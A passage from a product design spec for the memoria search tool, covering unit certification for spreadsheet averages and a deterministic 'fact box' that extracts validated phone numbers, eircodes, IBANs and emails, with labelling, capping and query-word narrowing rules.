  concatenated top-down. Sheet and tab prepend to every chunk. Values are
  the **display string from S3**, never a double memoria formatted.

That is what makes `revenue`, `June` and `2024` literal BM25 terms for a
cell whose content is the bare number `1350000`. **Header detection is
deterministic and conservative: where competing header bands make the
meaning ambiguous, index the alternatives as structure and do not
manufacture a fact.**

**Retrieval, because top-k cannot prove completeness.** Decompose into
named slots — `(Revenue, June, 2024)`, `(…, 2025)`, `(…, 2026)` — and
resolve each by exact metadata lookup against the structure catalogue,
using top-k only to find candidate regions. Recall becomes a per-slot
count:

- exactly one current, authorized operand → filled;
- zero → a named gap;
- **two or more → ambiguity, never extra evidence**, and never collapsed.

**S6 is called only when every slot is filled and every operand carries a
certified unit.** Any gap, ambiguity, `STALE`, `AHEAD` or `UNKNOWN`
yields the slot table with citations and **no number**: *"Found June 2024
and June 2023; nothing matched June 2025. No average shown."* A
two-of-three average is the plausible-wrong answer that §8.1's loud
withholding exists to prevent, and it is worse than an empty result
because it is actionable.

**"Compatible units" was unfalsifiable in draft 3, and this section's own
example is the case it cannot catch.** Three cells formatted `General`,
one of them typed in thousands, carry no signal that distinguishes them.
`MIXED_UNITS` therefore never fires, the three numbers average cleanly,
and memoria certifies a figure wrong by a factor of a thousand while
citing all three cells correctly. A check that cannot fire is a check
written to pass, and this one guards the number the whole section exists
to protect.

**So the test is inverted: a unit is certified, not contradicted.** Every
operand must carry a unit, and it may come from exactly two places:

- **the cell's `format_code`**, which S6 already returns — a currency
  symbol, a percentage, or a scaling comma (`#,##0,` is thousands in both
  Sheets' and Excel's grammar); or
- **an explicit unit word in the structure chunk's header band or row
  label**, both of which §8.7's chunking already indexes: `€k`,
  `thousands`, `$m`, `%`.

`General` with no unit word is not a unit. It is the absence of one, and
that absence has to be a verdict rather than a silence.

**Who certifies: memoria, and not S6.** Draft 4 said both — "S6 is called
only when units are certified" *and* "S6 gains `UNIT_UNKNOWN`" — which
cannot both be true, because a value S6 returns is a value that arrives
after S6 was called. The review was right to force the choice, and it
falls to memoria for a reason that is not about which is tidier:
**neither party holds both signals, and memoria is the one that holds
neither-half-only.** The `format_code` comes from Sheets, but memoria
already receives it (S6 returns it, and §8.7's structure chunk indexes it
at ingest). The header word comes from memoria's own chunking, and Sheets
has no idea what memoria's structure chunks say. An S6 that decided units
would be deciding on half the evidence.

So the certification rule is memoria's, and it is a fixed table rather
than a judgement:

| Signal on an operand | Unit token |
|---|---|
| `format_code` carries a currency symbol, a percent, or a scaling comma (`#,##0,` is thousands in Sheets' and Excel's grammar) | the canonicalised symbol-plus-scale, e.g. `€`, `€k`, `%` |
| the structure chunk's header band or row label carries an explicit unit word — `€k`, `thousands`, `$m`, `%` | that word, canonicalised the same way |
| both, and they canonicalise to the same token | that token |
| both, and they canonicalise to different tokens | **none: the operand is uncertified** |
| neither — `General`, no unit word | **none: the operand is uncertified** |

And the two refusals are memoria's verdicts, delivered before S6 is
called:

| memoria's verdict | Means | memoria does |
|---|---|---|
| `MIXED_UNITS` | every operand is certified, and two of their tokens differ | no S6 call; no number; name the operands and their tokens |
| `UNIT_UNKNOWN(cell)` | this operand certified to no token | no S6 call; no number; name the cells that carry none, and say what would fix them |

**`€k` and `€` are different units, and memoria will not reconcile
them.** This is the case the review asked to be ruled, and the ruling is
the strict one: recognising `€k` and `€#,##0` as the same unit means
multiplying one operand by a thousand, which is memoria doing arithmetic
on a cell value — the exact thing decision 10 forbids, arriving as a
helpful conversion. So they do not aggregate, `MIXED_UNITS` fires, and
the refusal names both formats so the reader can see it is a formatting
difference and fix it in Sheets. **memoria performs no unit algebra of
any kind**: no scaling, no currency conversion, no percent-to-fraction.
Tokens are compared for equality or they are not compatible.

**A `General` cell under a `€k` header aggregates, and here is exactly
what is displayed.** The header word certifies the operand as `€k`; if
the other operands certify to `€k` too, S6 is called and returns a
`value`, a `display` string and a `format_code`. **memoria displays S6's
`display` string unchanged and names the unit beside it, from the
header** — *"Average June revenue, 2024–2026: 1,350 (€k, from the column
header "Jun 2024 €k")."* It does not fold the unit into the number, does
not render `€1,350,000`, and does not re-format anything: folding the
unit in is formatting, and §8.7 exists because a second formatter is the
same bug class as a second calculator. Where the unit came from a header
word rather than a format code, the answer says so, because that is a
weaker provenance and the reader should be able to check it.

**Re-certification on the way back, because the indexed format can be
stale.** memoria certifies from the format code it indexed, then compares
it against the `format_code` S6 returns for the same cell. A
disagreement means the sheet was reformatted since ingest: **no number**,
the slot table, and the source marked for re-ingest. This is `STALE`'s
logic applied to formatting rather than to content, and without it the
certification runs on a snapshot of the thing it is certifying.

**All three outcomes can fail, which is the point.** Three cells
formatted `€#,##0` aggregate. One `€#,##0` against one `k€#,##0` fires
`MIXED_UNITS`. Three `General` cells under a header that says nothing
fire `UNIT_UNKNOWN` and show no number. Gate 22 runs all three plus the
`€k`-header case, and the `General` one is what draft 3 would have
answered wrongly and confidently.

**The cost is real and it is not hidden.** Plenty of real spreadsheets
are `General` throughout, and on those memoria refuses every aggregate
until someone formats the cells or writes the unit into the header. That
is a worse product than one which answers, and a better one than one
which answers wrongly: the refusal names the cells and says what would
fix them, in Sheets, where the fix belongs. **The spec's position is that
there is no override switch**, because an override is the `General` case
with a checkbox in front of it, and a checkbox nobody reads is how the
wrong number gets certified with the reader's own consent.

**That position is not mine to settle, and §13 marks it as Paul's.** It
trades a product cost nobody has measured against a correctness
guarantee, and the measurement — how many of a real team's sheets are
`General` throughout — does not exist. If it turns out to refuse nearly
everything, the answer this spec would argue for is better header
indexing rather than an override; but "we refuse most numeric questions"
is a product decision, not a spec detail.

**One limit, stated plainly:** a cell whose *value* was typed in
thousands under a `General` format is undetectable to memoria, to S6 and
to Sheets. Nothing in the suite knows. The header word is the only
remaining signal, and where there is none, `UNIT_UNKNOWN` is the correct
answer rather than a cautious one.

**The answer names its basis**, including which years "last three" meant,
because that is ambiguous on any given date.

**What must not be built.** A retrieval-augmented calculator: retrieve
top-k, let a model pick numeric strings, average them, present it as
grounded. Both reviewers named this unprompted. It stacks three silent
errors — incomplete recall, wrong operand selection, arithmetic and
formatting outside Sheets — and every one of them cites correctly while
being wrong. Also forbidden: memoria parsing a display string back into a
number (`"€1.2M"`), which is a second parser and therefore a second
calculator; and caching an S6 result, which outlives its cells.

Gate 14 extends: **every digit in an answer sentence traces to a cited
passage or an S6 result.**

### 8.8 The fact box: deterministic extraction above the list

Paul's motivating example, 2026-09-14: a search for `phone number` should
put the answer at the top of the page — *"Tito office number: +353 (0)1
547 7854"* — and the same for an eircode, a VAT number. And his
constraint, given in the same breath, which is the whole of this section's
shape: **do as much deterministic ordering of the data as possible before
any inference runs on it.**

**Called the fact box, and not the lookup box, which is what draft 1
called it.** `query.IsQuestion`'s complement is already a lookup in this
codebase — `TestALookupPrimesTheFirstResult` is about Enter, not about
this — and a second meaning for the word in the same package is the name
collision this repo's reviews keep finding.

**This section is the deterministic layer, and it calls no model.** The
kinds it serves are the kinds that have a validator. Decision 15 originally
said the whole fact box calls no model, *ever*, and excluded any kind
without a validator; **Paul amended it on 2026-09-19** and §8.9 is the
model half he ruled in. Nothing in this section changes because of that:
a validator-backed kind never reaches a model, and every guarantee below
is a guarantee about *this* layer. Where a sentence here says "no model",
it means this layer and not the request — §8.9 may call one afterwards,
for a different kind, and §8.2's router may call one after that.

**Its deterministic layer is a fourth way memoria answers without a model,
and it is not a class.** Drafts 1 and 2 both called it *"§8.2's fourth model-free class"*
while also calling it a layer, which cannot both be true: a row in §8.2's
table is a **route**, and a route is terminal. A query naming a kind would
have stopped at the box, so *"what's the office phone number?"* with
nothing validated in reach would get no answer where the single-source
class would have given one. The box is attempted, and then §8.2 routes the
query exactly as it would have. Paul's constraint is deterministic
**first**, not deterministic **instead**.

**"Model-free" in §8.2 and §8.6 is a claim about routing, not about the
request.** §8.9 now sits between this box and the router and may call the
cheap tier for a postal address. A navigational query that names
`address` can therefore cause a model call that no router class did —
the router's three model-free classes are still model-free; the request
carrying them may not be.

**This section's own path touches nothing in §3.2.** No egress, no
provider, no embedding — the deterministic box works on an instance with
AI switched off, which is decision 5's floor and therefore the whole
product today. It is part of §8.1's floor and gate 15 covers it.
**Nothing on this path is logged**, gate 4's rule applying unchanged: a
fact, its label and its kind are all content, and the query that named
the kind is content too.

**That claim is now load-bearing in a way it was not, because decision 15
has been amended and §8.9 adds a model.** What survives the amendment
without qualification is everything in this section: recogniser,
validator, label, cap, collision, citation. What §8.9 adds sits *after*
all of it and is switched off with AI. The sentence to keep straight is
**"the deterministic box has no egress"**, not "the fact box has no
egress" — and §8.9 exists as its own section rather than a paragraph here
precisely so that the two cannot be confused by someone reading quickly.

#### One extraction, over the ruled results, and why drafts 1 and 2 had two

**Candidates are the validated facts carried by the passages this search
already returned and §4.1 already allowed.** There is no second index, no
second query, no ingest-time half and nothing stored. `Store.Search`
produces `Page.Results`; the box is extracted from those and from nothing
else.

That makes §8.4's invariant structural rather than careful: every passage
in a response passed §4.1 **in the request that produced it**, and a
candidate that is not in `Page.Results` does not exist. There is no
second retrieval path, so there is no second authorization path to get
wrong.

**Both earlier drafts built a retrieval mechanism for reachability, and
the cap is what killed it.** Draft 1 folded kind words into the main
index; draft 2, after the IDF objection below, gave facts their own
in-memory table queried by kind. Writing the retrieval step out
concretely is what found the contradiction:

- this section caps candidates at three;
- a facts table is queried `WHERE kind = 'phone'`, which is corpus-wide;
- a real corpus holds dozens of phone numbers — `index/rank_test.go`'s
  twelve-chunk fixture already holds two, plus four account numbers and a
  VAT number.

So the cap fires on the first query anyone types, on every kind,
permanently, and the box never appears. **The only way to bound a
corpus-wide fact query is to rank the candidates and keep the best three,
which is exactly what "never by picking" forbids** — and a `LIMIT` before
the ruling is worse still, because a withheld document then eats one of
the slots and "count after the ruling" becomes unimplementable. The gate
review reached this independently and from the other side.

The ruled top-25 is already a query-scoped candidate set. Once candidates
come from it, the facts table has no query-time job left, and its only
other job was the ingest-time ranking lift.

**Why the deferred fix is not "index the kind words", measured rather
than asserted.** FTS5 computes a term's IDF across the table, so a term
present in most rows scores near zero. On `modernc.org/sqlite`, 20 rows,
best `bm25()` for `"phone"`: **-2.7169** with the term in one row,
**-0.0000** with it injected into all twenty. A collapse, not a
degradation.

**Be exact about what that measures, because draft 2 overclaimed it.**
Draft 2 said the injection would degrade *"exactly the query the NEAR
comment works through"*, and on that comment's own fixture it would not:
the chunk holding the office number already contains the word `phone`, so
injecting it there moves that chunk's term frequency and length, not the
corpus IDF. The real exposure is a corpus where **many chunks carry
numbers and few say `phone`** — which is the shape a large real corpus has
and the fixture does not. The number stands; the sentence it was attached
to did not.

#### What this costs, and it is the thing to measure next

**The reachability limit is back, and draft 2 claimed to have removed
it.** A fact in a document that does not reach the ruled top-25 is a fact
the box does not have: an eircode written `D02 XY45` in a document that
never says "eircode" is found only if something else about it ranks.
Draft 1 named this and deferred the fix; draft 2's table did not actually
remove it, since that table ran only when a kind was named and was inert
corpus-wide under the cap. §12 carries it.

**The box's presence depends on the retrieval limit, which is a real
edge and is stated rather than discovered.** `Search(ctx, q, 25)` is a
hard cap, so a fourth distinct value sitting at rank 26 leaves a box of
three, and the same value at rank 25 removes the box entirely. That is
not wrong — the box describes what this search found — but it means the
box is a function of the page, not of the corpus, and nobody should read
it as the latter.

**Whether the cap made the box inert on the corpus that motivated it was
unmeasured until Paul hit it, 2026-09-29.** He searched *"what is the
office phone number?"* on the live instance and got 25 results and no
box. The Office page alone carries the office number and a list of
unused ones, so the ruled top-25 held four or more distinct valid numbers
and the cap fired — on the very query this section was written for. This
section used to say the remedy was *"a narrower kind lexicon or a
per-kind cap, **not** a rule that picks"*. Neither of those would have
helped: the lexicon was already right (the query asked for a phone
number), and any cap large enough to pass would show a list of unused
numbers as the answer. **Paul ruled the remedy instead: narrow by the
reader's own words** — see *"Narrowing by the reader's own words"* below.

**§4.1 is unaffected, in the direction that matters.** A reader for whom
passages are withheld draws candidates from a smaller set, never a larger
one — `rule` drops withheld results and §12's over-fetch-and-refill is
deliberately not built, so the slot stays lost. Fewer candidates cannot
be a leak.

**A chunk row that is gone by the time the box reads it is skipped
silently**, exactly as `Store.Search`'s `livePassage` check drops a stale
hit, and for the reason recorded there. It does not fail the search: the
box is a garnish and trading the page for it is the wrong direction.

**And the box needs plaintext the search path does not open.**
`Store.Search` opens titles, paths and item ids under their own purposes;
chunk bodies are opened only by `indexDocument` and `Passages`. FTS5
snippets are 24 tokens with `<mark>` in them — too short and too marked-up
to take a span or a label from. So the box re-reads the sealed chunk rows
for the ruled results, after the ruling, under `seal.PurposeChunk`: at
most 25 rows, one `IN` query, 25 AEAD opens.

#### Why nothing is stored

The rejected design is a **sealed, durable** `facts` table, written at
ingest, read at query time. Two grounds, and draft 1's third is withdrawn:

- It is **derived state**, so it inherits AGENTS.md's ordering rule in
  both directions and §5.2's invalidation — a new way for the index and
  the database to disagree, bought for nothing that query-time extraction
  does not already give.
- It **freezes the recognisers at the version that ran at ingest**, so
  improving one leaves every existing document answering with the old
  one until somebody re-ingests it. **This is not the `Passages` problem
  and draft 2 cited it as though it were.** That comment records the
  opposite lesson — re-running the *chunker* at view time misaligned
  citations, and freezing at ingest is the fix — and it does not transfer,
  because a recogniser change moves no ordinal and breaks no citation.
  The staleness argument stands on its own or not at all.

Draft 1's third ground was that a plaintext `kind` column would be an
inventory of which kinds of sensitive data the team holds — true, and
irrelevant, because the proposal was for a sealed table. The honest
residual for a sealed one is the per-chunk fact-row count, which is real,
much smaller, and not on its own a reason.

**Nothing new exists at rest, and nothing new exists in the index
either.** That is the strongest property this section has and it came
from deleting things.

#### The recognisers, and what is not one

A kind is in the box when a query word names it **and** a candidate
validates.

| Kind | Primed by | Validated by |
|---|---|---|
| `eircode` | `eircode`, `postcode`, `post code` | routing key — a letter from `ACDEFHKNPRTVWXY`, a digit, then a digit or `W` — plus four characters from that set and the digits |
| `iban` | `iban`, `bank details` | country prefix, length by country, mod-97 |
| `vat` | `vat`, `vat number` | modern Irish format and its check letter |
| `phone` | `phone`, `telephone`, `tel`, `mobile`, `phone number` | **structural, and see below** |
| `email` | `email`, `email address`, `e-mail` | `local@domain`, domain carrying a dot, no whitespace — **weak, and see below** |
| `address` | `address`, `postal address`, `office address` | **none — this layer never produces one.** A §8.9 model kind; see there |

**Three of these are checksums and two are not, and the section says so
rather than implying five.** An eircode's routing key is a closed set, an
IBAN has a mod-97 check, an Irish VAT number has a check letter derived
from its digits. These can be wrong, and a wrong one is refused.

**`phone` has no checksum, so it gets a structural rule that is stated
here rather than left to the code: a bare run of digits is never a phone
number.** The span must carry a `+`, or separators grouping it. This is
not a hack bolted on to a weak validator — it is how documents write phone
numbers, and without it `rank_test.go`'s own corpus yields false
positives: `DUNS/D-U-N-S number is 985632364` is nine digits and a
plausible Irish mobile. **The cost is stated too:** a document writing
`0871234567` with no separators is not boxed. That is the safe direction,
and it is the direction a refusal should fail in.

**Three structural rules came out of building it, and each one is here
because ordinary document text was boxed without it.** The implementation
review found all three live, not as mutations:

- **A phone number uses one separator style throughout.** Mixed
  separators walk straight past the 9-or-10 bound above: *"The deadline
  is 01-02-2024 10:30"* matched `01-02-2024 10`, ten digits, valid, and
  boxed a date. Three styles, never mixed.
- **Four digit groups, or five with a country code — refused by count,
  never truncated.** *"Numbers drawn: 01 05 12 23 34"* canonicalises to
  ten digits and passes every other test, so something has to refuse it.
  **The count is the validator's job and not the pattern's**, and putting
  it in the pattern was a worse bug than the one it fixed: a pattern
  capped at three groups and five digits a group does not refuse a long
  number, it *shortens* it. *"Mobile: +353 87 1234567"* — the commonest
  international spelling of an Irish mobile — was boxed as
  **`+353 87 12345`**, and *"+49 30 12 34 56 78"* as `+49 30 12 34 56`.
  Both are well-formed numbers that pass every other check and are not
  the number in the document: §8.7's *"cites correctly while being
  wrong"*, manufactured by the guard meant to prevent it.

  So the recogniser is generous, it must end on a word boundary or an
  extension, and the validator refuses by group count. **Germany and
  France genuinely write more groups than this and their numbers are
  refused.** That is the stated cost, and it is the right way round: a
  refusal shows nothing, a truncation shows a wrong number.
- **The international floor is ten digits, not E.164's eight.** Eight
  admits `+10 000 000` out of *"Growth of +10 000 000 users"*. A country
  code plus a national number reaches ten everywhere this corpus dials,
  and refusing a genuinely short international number is the safe
  direction.

**One residual is stated rather than left to be found: an ALL-CAPS
heading.** `SEE FORM P45 THEN P60` still yields `P45 THEN`, because
case-sensitivity cannot separate an eircode from uppercase English, and
uploads do carry all-caps headings. No regex fixes this; only a label or
a dictionary would, and both are bigger than the problem. Recorded so the
next person finds the limit rather than the surprise.

**And eircodes are matched case-sensitively**, which is not fussiness.
The identifier alphabet is most of the consonants, so case-insensitively
it matches lowercase English after a road number or a form code: *"Take
the N11 then exit at Bray"* boxed `N11 then`, and *"Form P45 then P60"*
boxed `P45 then`. A cited fact that is really an English word reads
exactly like a correct answer — §8.7's *"cites correctly while being
wrong"*, arriving from a character class. Eircodes are written uppercase;
a lowercase one going unrecognised is the cost and it is the right way
round.

**`email` is kept and its weakness is stated rather than hidden.**
`local@domain` is closer to pattern-spotting than to validation. On a
corpus of uploads and Notion pages it is useful — one support address,
cited. On a corpus carrying forwarded mail (§4.2's source list) every
signature qualifies, the cap is passed, and the box is inert for that
kind. That is the cap working, and the failure direction is silence rather
than a wrong address.

**`url` was in draft 1 and is dropped.** `scheme://host` is
pattern-spotting with nothing behind it, so every link in every document
qualifies and the box is inert immediately. It also collides with §8.5's
*"refuse links to non-suite hosts"* for no gain.

**Nothing in the box is ever an anchor.** The value is text; the only link
the box carries is its citation, to `/documents/{id}#p{n}`. No `mailto:`,
no `href` built from a document's bytes.

**`address` primes the postal-address kind, and `email address` primes
`email`** — longest phrase first, so the two cannot collide. Postal
address has no checksum, no fixed grammar and no length, so this layer has
nothing to validate it with and produces nothing for it. **It is §8.9's
first model kind**, which is what decision 15's amendment changed: before
it, "no validator" meant "not a kind"; now it means "not this layer's
kind".

**`number` on its own primes nothing either.** The lexicon maps
distinctive words and phrases; generic words count only in combination.

**This is `query.openers`' trade made in the opposite direction, and draft
1 claimed it was the same one.** `openers` is deliberately stingy — *"the
safe direction is not priming"* — because a wrong prime navigates away
from a page somebody was reading. The fact lexicon can afford to be
generous, and the reason is the validator, not a shared instinct: "mobile
app" primes `phone`, finds no phone number, and renders nothing.

**It complements Enter-priming rather than competing with it.**
`IsQuestion` declines to prime for anything ending in `?` or opening with
an interrogative, so "what's the office phone number?" navigates nowhere
today, and those are disproportionately the queries a fact box answers.
Where both fire — "office phone number", no question mark — **Enter still
goes to the first result, not to the box's citation.** The box is a thing
to read, not a destination; changing what Enter means depending on whether
a regular expression matched is the unreliable-Enter failure
`PrimesFirstResult` exists to avoid.

#### The span, the canonical form, and this spec's two arithmetic rules

**The span is what the document wrote**, byte for byte, including
punctuation, the `(0)`, and any extension written after it. It is what the
box displays and the only thing the box displays. Separators inside a span
include **U+00A0**, because Word and Notion paste non-breaking spaces and
the chunker does not normalise interior ones — a recogniser written with
Go's `\s`, which does not match U+00A0, silently finds nothing in pasted
text.

**The canonical form is match-only.** It is what candidate identity is
keyed on, and what the validator runs on. It is **never rendered and never
an operand.** An Irish national number canonicalises to E.164 so that
`01 547 7854` and `+353 (0)1 547 7854` are recognised as one number rather
than two candidates.

Two of this spec's own rules have to be read against that, and both are
ruled here rather than left to be found:

- **§8.7 forbids *"memoria parsing a display string back into a number …
  a second parser"*.** What it forbids is a parse that feeds something
  memoria then shows or computes with — the `"€1.2M"` case. A canonical
  form that is never displayed and is never an operand is not that.
- **Decision 10 says memoria never does arithmetic.** A mod-97 check
  digit is arithmetic. It is not a number memoria reports: it decides
  whether a string is an IBAN at all. Decision 10 governs numbers in
  answers; a checksum is a predicate. **That is a narrowing of Paul's
  decision made by the spec author, and it is filed in §13 beside decision
  15's, rather than one being marked and the other slipped through.**

**Draft 1's own example failed draft 1's own validator**, which is worth
keeping visible: `+353 (0)1 547 7854` is not E.164 — E.164 has no spaces
and no `(0)` — so "validated by E.164" was a rule the motivating case did
not pass. The table says *canonicalises to*, which is what was meant.

#### The label, and the four ways it goes wrong

**The label is taken from the document and is never composed.** Given the
span's position in the chunk text:

1. **Take the run back to the start of the enclosing sentence or line.**
   **If that run contains another recognised span, start after it** — in
   `Phone: 01 547 7854 - 01 598 1234` the second number's run would
   otherwise be `Phone: 01 547 7854 -`, labelling the second number with
   the first one's value.

   **The spans it skips are of every kind, not only the kinds the query
   named**, and that is a rule rather than an implementation note: a
   label that depends on what was asked for is not the document's label.
   Asked for `phone` alone, *"Email paul@tito.io or phone: 01 547 7854"*
   came back labelled `Email paul@tito.io or phone` — one fact's value
   inside another's label, which is the exact failure this rule exists to
   stop, reappearing because the rule could not see the span.
2. **If what remains ends in a separator** — `:`, `—`, `–`, `-`, `=`, tab
   — **and is non-empty after removing it and trimming, and is 60
   characters or fewer, that is the label.**
3. **Empty after the separator → fall through.** A markdown bullet is the
   case: the chunker keeps lines verbatim, so `- +353 1 547 7854` gives a
   run of `-`, which "ends in a separator" and yields nothing. Two such
   bullets give two empty labels, collide, and would have suppressed the
   box for a plain contact list.
4. **Longer than 60 → no box for that kind.** Not the trail instead. The
   document labelled this value and the label will not fit, so
   substituting a vaguer one is memoria replacing the document's words
   with its own: *"The number you must never give to customers because it
   rings the CEO directly is: 01 598 1234"* becomes `Contacts`, sitting
   beside `Reception — 01 547 7854`. Dropping the candidate instead is
   worse, because that turns a two-candidate ambiguity into a confident
   single answer.
5. **Otherwise the chunk's heading trail**, and if there is none — an
   upload with no headings, which is the common pasted-file shape — **the
   document title**, never the empty string.

**A leading list marker is markup, not part of the label (2026-09-29).**
Rule 1 anchors the run at the start of the line, and a list item's line
starts with its marker. So `- Office: 01 547 7854` was labelled `- Office`,
and a to-do item `- [x] Office: …` was labelled `- [x] Office`. For a
Notion page, memoria's own renderer wrote that marker
(`notion/markdown.go` renders bulleted items and toggles as `- `, to-do
items as `- [ ] `/`- [x] `, quotes as `> `), so the label carried memoria's
syntax as though the document had written it. (A numbered item's `3. `
was already dropped, because the sentence split treats a full stop after
a digit as a sentence end. An earlier draft of this paragraph said
otherwise.)

**The rule:** before rule 2 runs, the run — from where rules 1 and 1's
earlier-span clause start it, up to the value — loses its leading
indentation and one leading marker: `-`, `*`, `+` or `•`, each followed
by a space; `N.` or `N)` followed by a space; either of those followed by
`[ ]` or `[x]`; or `>` followed by a space. A bare bullet (`- +353 1 547
7854`) is untouched: its run is trimmed on the right to `-`, which has no
space after the marker and so is not one, and rule 3 still sends it to
the trail, exactly as before. The
cost is stated beside narrowing's other limitations: a literal prefix
shaped like a marker cannot be told apart from markup.

**Draft 1 required the value to start its own line and capped the label at
40, and the repo's own fixture is what breaks that.**
`index/rank_test.go:56` — built from the live instance where Paul hit this
— holds one chunk reading:

> *"Turn the knob. The office phone number is: +353 (0)1 547 7854. We
> also have the following unused phone numbers: +353 (0)1 598 1234."*

Under draft 1 both numbers are mid-paragraph, both fall to the heading
trail, and both come back labelled `Office Address`: two identical labels,
one of which the document explicitly calls **unused**. The box would have
shown them as equals with the disambiguating word one clause away. That is
§8.7's *"cites correctly while being wrong"* in a lookup coat. Sentence
anchoring fixes it by doing less: the labels become *"The office phone
number is"* and *"We also have the following unused phone numbers"*, and
the reader can see which is which because the document said so.

**The sentence split is naive, and draft 2's claim that it fails safely is
false.** A boundary placed too *late* yields a shorter run that still
passes every test above: `Dr. Smith's direct line: 01 …` yields
`Smith's direct line`, and `St. Stephen's Green office: …` yields
`Stephen's Green office`. **That is a label the document did not write,
produced by the rule whose entire justification is that it never
composes.** A short fixed exception list — `Dr. Mr. Mrs. Ms. St. No. ext.
Ltd. Co.` — covers the common cases and is **stated as incomplete**. It
must not grow into a sentence tokeniser; where it is wrong it is wrong in
the composing direction, and saying so is the difference between a known
limit and a discovered one.

**60 characters is a guess.** What is not a guess is that it must clear
the motivating fixture, whose longer label is 47.

#### Candidates, ambiguity, the cap, and one box per kind

**A candidate is one canonical value.** The same number in five forwarded
signatures is **one** candidate, cited to the best-ranked passage carrying
it. Two different numbers in one chunk are **two** — the fixture above is
exactly that shape, and treating a chunk as the unit would hide the
second.

**Every rule below is applied per kind, and a multi-kind query renders one
box per kind.** A cap counted across kinds would let two phone numbers and
two email addresses suppress each other, and a collision check across
kinds would suppress a phone and an email that happened to share a label.

§8.7's slot rule is *"two or more → ambiguity, never extra evidence, and
never collapsed"*, and it resolves that by showing no number. **The fact
box shows all of them instead, and the difference is not inconsistency.**
An average built from two of three operands is a *wrong number*: the
question had one answer and memoria produced a different one. Two phone
numbers are two *right answers* to an underspecified question. §8.7's
ambiguity is incompleteness, which can only be refused; this one is
underspecification, honestly served by showing both, labelled and cited.

**Never by picking.** Not highest BM25, not first, not longest. Rank order
sorts a result list and carries no claim about which number is the office
one. **The one narrowing allowed is a match between the reader's words
and the document's own label, and only once the cap has fired** (Paul,
2026-09-29, below). That is not picking in this paragraph's sense: no
score and no order are involved, every candidate is treated the same,
and when two labels match, nothing renders.

**A box row carries the document title and the heading trail as well as
the label**, exactly as a result row carries both and for the reason
recorded there: two pages called "Contact" under different documents are
the same row to a reader who cannot see which is which.

**Two candidates whose whole citation line collides — same title, same
trail, same label — render no box.** Keyed on the line rather than the
label alone, because a supplier page and the office page both falling to
the trail `Contact` are perfectly disambiguated by their titles, and
suppressing that box would be losing a real answer to a rule aimed at a
different problem. Where the whole line does collide, the page would show
one identical row twice against two different values — not an enumeration
but a contradiction with no way for the reader to resolve it, and the
results list is the honest surface for that.

**Capped at three inclusive: three renders, four renders nothing.**

#### Narrowing by the reader's own words (Paul, 2026-09-29)

**The ruling.** Paul asked why *"what is the office phone number?"* showed
no box, on a page whose second result says *"The office phone number is:
+353 (0)1 547 7854"*. The proposal he approved (*"Sure."*), in the words
he was shown:

1. *"When there are too many candidates, use the other words in the
   question ("office") to narrow them down. If exactly one candidate's
   label contains them, show that one."*
2. *"Treat " - " as a break when working out labels."*
3. *"Keep the current rule as the fallback: if narrowing doesn't leave
   exactly one candidate, still show nothing rather than guess."*

**This section implements 1 and 3 as he approved them, and 2
differently, for a reason he has not yet been told.** Part 2's premise
was wrong. The ` - ` he saw was the search snippet flattening Notion's
list lines. The stored text has real line breaks, which the label rule
already treats as a boundary. The actual defect is the list marker
those lines start with, and the list-marker rule above fixes that. **An
earlier draft of this section went further than the ruling**: it
narrowed below the cap, and it showed every match rather than exactly
one. The first review caught both, and this text is back to the ruling.

**When it applies: only when the cap has fired.** If a kind has more
than three candidates after the §4.1 ruling, it would render nothing,
and narrowing is attempted. Otherwise nothing changes: a kind with three
or fewer candidates renders or is suppressed by collision or rule 4
exactly as before, and the reader's words play no part.

**The qualifiers** are the query's tokens (`fact.tokens`: lowercased, split
on anything that is not a letter or digit) with these removed:

- every token of every lexicon phrase, for every kind, so `phone`,
  `mobile`, `email`, `address`, `vat` and the rest are never qualifiers;
- the generic `number`, `numbers`, `no` and `nr`;
- a fixed list of question and function words: interrogatives, articles,
  pronouns, auxiliaries, common prepositions, and request verbs such as
  `tell`, `give`, `find` and `show`. The list is in the code, it is
  stated as incomplete, and like the abbreviation list it must not grow
  into a parser;
- single-character tokens, which disposes of the `s` in `what's` and
  `Tito's`.

Pinned examples: *"what is the office phone number?"* → `{office}`;
*"office phone"* → `{office}`; *"office mobile"* → `{office}`, because
`mobile` is how Phone is asked for; *"what's Tito's phone number"* →
`{tito}`; *"phone number for the Dublin office"* → `{dublin, office}`;
*"support email"* → `{support}`; *"phone number"* → none.

**A candidate matches when its label is the document's own and contains
every qualifier as a whole token.**

- **"The document's own" means rule 2**, the sentence-anchored label
  ending in a separator. A rule 5 label (the heading trail, or the
  title) never matches. This is what makes narrowing work on the
  motivating page. The unused numbers there are listed under the heading
  `Office Address`, so a rule that matched fallback labels would match
  every number on the Office page, unused ones included, and could never
  leave exactly one. **Provenance is recorded when the label is made
  (`fact.Found.Own`), never inferred** by comparing the label's text
  with the heading. A document can write a label identical to its own
  heading.
- **Whole tokens, compared on `fact.tokens`**, so `office` does not
  match `offices` or `backoffice`. There is no stemming.
- **Every qualifier, not any.** `Dublin office` does not match a label
  saying `Office phone`.

**The outcome, for a kind over the cap:**

- **Exactly one candidate matches:** that candidate renders, alone. If
  its label is over-long (rule 4), the kind renders nothing: the
  document's own words are the answer, and they cannot be shown. Rule 4
  is kept for matching only. `fact.Scan` returns the over-long text with
  `NoBox` set, and it is never rendered.
- **None, or two or more:** nothing renders, as before. Narrowing never
  picks between two matches.

**The box says it narrowed.** Under the row, one line:

> Matched “office”. 3 other phone numbers are in these results.

It names the matched qualifiers and the number of candidates left out,
which is always at least three because the cap had fired. The count is
taken after the §4.1 ruling, like every other count in this section, so
a withheld document neither adds to it nor is revealed by it. It carries
no values and no links: the results list below is where the others are.

**Why this line is required: narrowing weakens this section's injection
defence, and the line is what keeps that visible.** *"Injection"* below
says the ambiguity rule fails safe against poisoning: a planted second
number makes the box show both, or nothing. Narrowing changes that in
one case. On a page already over the cap, a planted number whose label
alone contains the reader's word becomes the only row: a single,
confident, cited answer. The count line is the mitigation. It tells the
reader that other numbers exist and that the box chose among them on
the reader's own word. It is not a fix, and this spec does not claim
one.

**Stated limitations, so that they are known rather than discovered:**

- **Only the value right after the separator gets the label.** In
  `Office: 01 547 7854, 01 598 1234`, only the first number is labelled
  `Office`. The second follows another recognised span, not a
  separator, so it falls to the trail and can never match. The same
  applies to `Office:` followed by bare bullets.
- **Identity comes before matching.** A value's first occurrence is its
  candidate. If that occurrence fell to the trail, a later occurrence of
  the same value with a matching label does not rescue it.
- **Multi-kind queries share one set of qualifiers.** *"office phone and
  support email"* applies `{office, support}` to both kinds. Usually no
  label has both, and neither kind is narrowed.
- **The lexicon limits which kinds are recognised at all.** *"main office
